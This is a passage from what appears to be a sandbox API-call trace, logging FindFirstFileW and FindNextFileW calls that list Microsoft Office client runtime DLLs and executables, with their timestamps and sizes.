ftLastWriteTime.dwLowDateTime=0xd158a009, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0125.656] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0eaf4e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0125.656] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c4cdf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c4cdf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0df0820, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0125.656] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c26cd1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c26cd1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0e62fac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0125.656] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd289cda7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd289cda7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a1a592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0125.657] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d7e20c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0125.657] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0bda864, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0125.657] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c99389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0125.657] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0af5a16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0af5a16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c4cdf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0125.657] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e086ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e086ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2365abe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0125.657] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1137cdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1137cdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1d23858, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0125.657] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1006983, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1006983, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1242d5d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0125.658] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd121c9ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0125.658] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd139a18a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0125.658] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd11d067c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0125.658] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1078ffd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0125.658] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd10c55e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0125.658] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f9426a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0125.658] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b7fe91, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b7fe91, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1ec71c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0125.658] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe", cAlternateFileName="APPVDL~2.EXE")) returned 1 [0125.659] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate64.exe", cAlternateFileName="APPVDL~1.EXE")) returned 1 [0125.659] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0125.659] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0125.659] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0125.659] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0125.659] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVLP.exe", cAlternateFileName="")) returned 1 [0125.659] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0125.659] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0125.660] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd11f68b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd11f68b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd191da0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0125.660] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1242d5d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1242d5d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1bcc41c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0125.660] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd244aa14, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0125.660] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ea0ff2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ea0ff2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd20449b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0125.660] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e7acf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e7acf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1fac086, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0125.660] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e2e85a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e2e85a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f5fb21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0125.660] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f0533c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0125.660] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0125.661] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0125.661] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0125.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0125.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0125.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0125.661] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client", lpFilePart=0x0) returned 0x2d [0125.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0125.662] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0715cb9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0715cb9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0952017, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0125.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0a832cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0125.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09c4608, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0125.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd115de42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd115de42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd158a009, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0125.663] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0eaf4e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, 